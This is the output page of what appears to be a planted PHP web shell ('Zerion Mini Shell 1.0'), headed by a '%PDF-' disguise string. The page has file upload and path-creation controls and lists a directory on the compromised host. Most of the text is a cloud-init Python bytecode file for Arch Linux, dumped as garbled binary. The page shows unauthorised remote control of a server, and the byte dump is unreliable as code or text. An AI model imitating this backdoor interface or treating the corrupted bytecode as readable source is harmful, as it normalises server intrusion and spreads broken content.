%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/arch.cpython-35.pyc



"�T`�!�@s�ddlmZddlmZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZdd	l
mZdd
lZeje�ZGdd�dej�Zd
ddd
dd�Zdd�Zdd�Zd
S)�)�distros)�helpers)�log)�util)�subp)�net_util)�HostnameConf)�RendererNotFoundError)�PER_INSTANCENc@seZdZdZdZdZdgZddddd	d
diiZdd
�Zddd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd �Zd!d"�Zdd#d$�Zd%d&�Zd'd(�Zddd)d*�Zd+d,�ZdS)-�Distroz/etc/locale.genz/etc/netctlz/etc/resolv.confZ	systemctlZnetplanZnetplan_pathz/etc/netplan/50-cloud-init.yamlZnetplan_headerz# generated by cloud-init
ZpostcmdsTcCsBtjj||||�tj|�|_d|_d|d<dS)NZarchZsshdZssh_svcname)rr�__init__rZRunners�_runnerZosfamily)�self�nameZcfg�paths�r�8/usr/lib/python3/dist-packages/cloudinit/distros/arch.pyr$s	zDistro.__init__NcCs�|dk	r(|dkr(tjd|�tj�d|dg}tj|jdj|��tjdgdd�tjd	d
|gdd�dS)Nz/etc/locale.confzFInvalid locale_configfile %s, only supported value is /etc/locale.confz%s UTF-8��
z
locale-gen�captureFZ	localectlz
set-locale)�LOG�warningrZmake_header�
write_file�
locale_gen_fn�joinr)rZlocale�out_fn�linesrrr�apply_locale-s			zDistro.apply_localecCs!|j�|jdd|�dS)Nr�pkgs)�update_package_sources�package_command)r�pkglistrrr�install_packages=s
zDistro.install_packagescCsFy|j|�SWn.tk
rA}zt|�WYdd}~XnXdS)N)Z_supported_write_network_configr	�NotImplementedError)rZ	netconfig�errr�_write_network_configAszDistro._write_network_configcCsGtj|�}tjd||�t|d|jd|jd|j�S)Nz3Translated ubuntu style network settings %s into %s�resolv_conf�conf_dir�enable_func)rZtranslate_networkr�debug�_render_network�resolve_conf_fn�network_conf_dir�_enable_interface)r�settings�entriesrrr�_write_networkHs	
	zDistro._write_networkcCsvdd|g}y8tj|�\}}t|�rFtjd||�Wn(tjk
rqtjtd|�YnXdS)N�netctlZreenablez(Running %s resulted in stderr output: %sz#Running interface command %s failed)r�lenrr�ProcessExecutionErrorr�logexc)r�device_name�cmd�_out�errrrrr-Qs	zDistro._enable_interfacecCs�dd|g}tjd||�y<tj|�\}}t|�rYtjd||�dSWn,tjk
r�tjtd|�dSYnXdS)Nr1Zrestartz8Attempting to run bring up interface %s using command %sz(Running %s resulted in stderr output: %sTz#Running interface command %s failedF)rr)rr2rr3rr4)rr5r6r7r8rrr�_bring_up_interface[s	
	
zDistro._bring_up_interfacecCs(x!|D]}|j|�sdSqWdS)NFT)r9)rZdevice_names�drrr�_bring_up_interfacesis
zDistro._bring_up_interfacescCssd}y|j|�}Wntk
r-YnX|s@td�}|j|�tj|t|�dddd�dS)NrZomode�w�modei�)�_read_hostname_conf�IOErrorrZset_hostnamerr�str)rZ
your_hostnamer�confrrr�_write_hostnameos

zDistro._write_hostnamecCs|j|j�}|j|fS)N)�_read_hostnameZhostname_conf_fn)rZsys_hostnamerrr�_read_system_hostname|szDistro._read_system_hostnamecCs#ttj|��}|j�|S)N)rrZ	load_file�parse)r�filenamerArrrr>�s
zDistro._read_hostname_confcCsEd}y|j|�}|j}Wntk
r6YnX|sA|S|S)N)r>�hostnamer?)rrF�defaultrGrArrrrC�s

zDistro._read_hostnamecCs\tjd|�ytjddd|g�Wn(tjk
rWtjtd|�YnXdS)Nz2Non-persistently setting the system hostname to %sZhostnamectlz--transientzset-hostnamez;Failed to non-persistently adjust the system hostname to %s)rr)rr3rr4)rrGrrr�_apply_hostname�s	zDistro._apply_hostnamecCs#tjd|d|j|��dS)N�tzZtz_file)rZset_etc_timezoneZ
_find_tz_file)rrJrrr�set_timezone�szDistro.set_timezonecCs�|dkrg}ddddg}|rIt|t�rI|j|�n"|rkt|t�rk|j|�|dkr}d}|r�|j|�tjd|�}|j|�tj|dd	�dS)
NZpacmanz-Syz--quietz--noconfirmZupgradez-uz%s-%srF)�
isinstancer@�append�list�extendrZexpand_package_listr)rZcommand�argsrr6r!rrrr �s


zDistro.package_commandcCs&|jjd|jdgdt�dS)Nzupdate-sourcesz-yZfreq)r
Zrunr r
)rrrrr�szDistro.update_package_sources)�__name__�
__module__�__qualname__rr,r+Zinit_cmdZrenderer_configsrrr"r%r0r-r9r;rBrDr>rCrIrKr rrrrrrs.				


	r�/z
etc/netctlzetc/resolv.confcCsTg}g}tj||�}tj||�}x|j�D]�\}}|dkrXq=|j|�tjj||�}	ddd|d|jd�dd|jd	�|jd
�fd|jd�d
|jdg�i}
tj	|	t
|
��|r|jd�r||�d|kr=|j|d�q=W|rPtj	|t|��|S)znRender the translate_network format into netctl files in target.
    Paths will be rendered under target.
    �loZ
ConnectionZethernetZ	InterfaceZIPZ	bootprotoZAddressz%s/%sZaddressZnetmaskZGatewayZgatewayZDNSzdns-nameserversZauto)
rZtarget_path�itemsrM�os�pathr�getrr�convert_netctlrO�convert_resolv_conf)r/�targetr'r&r(ZdevsZnameserversZdev�infoZnet_fnZnet_cfgrrrr*�s2

	
r*cCs�g}x�t|�D]u}||}|dkr8d}n9t|ttf�rqddjdd�|D��d}|jd||f�qWdj|�S)	z�Given a dictionary, returns a string in netctl profile format.

    netctl profile is described at:
    https://git.archlinux.org/netctl.git/tree/docs/netctl.profile.5.txt

    Note that the 'Special Quoting Rules' are not handled here.Nr�(� css|]}d|VqdS)z'%s'Nr)�.0�vrrr�	<genexpr>�sz!convert_netctl.<locals>.<genexpr>�)z%s=%s
)�sortedrL�tuplerNrrM)r.�result�key�valrrrrZ�s
	$rZcCs8d}t|t�r4x|D]}|d|}qW|S)z4Returns a settings string formatted for resolv.conf.rznameserver %s
)rLrN)r.rf�nsrrrr[�s

r[)Z	cloudinitrrrZloggingrrZcloudinit.distrosrZ"cloudinit.distros.parsers.hostnamerZcloudinit.net.renderersr	Zcloudinit.settingsr
rWZ	getLoggerrQrrr*rZr[rrrr�<module>s�%

Zerion Mini Shell 1.0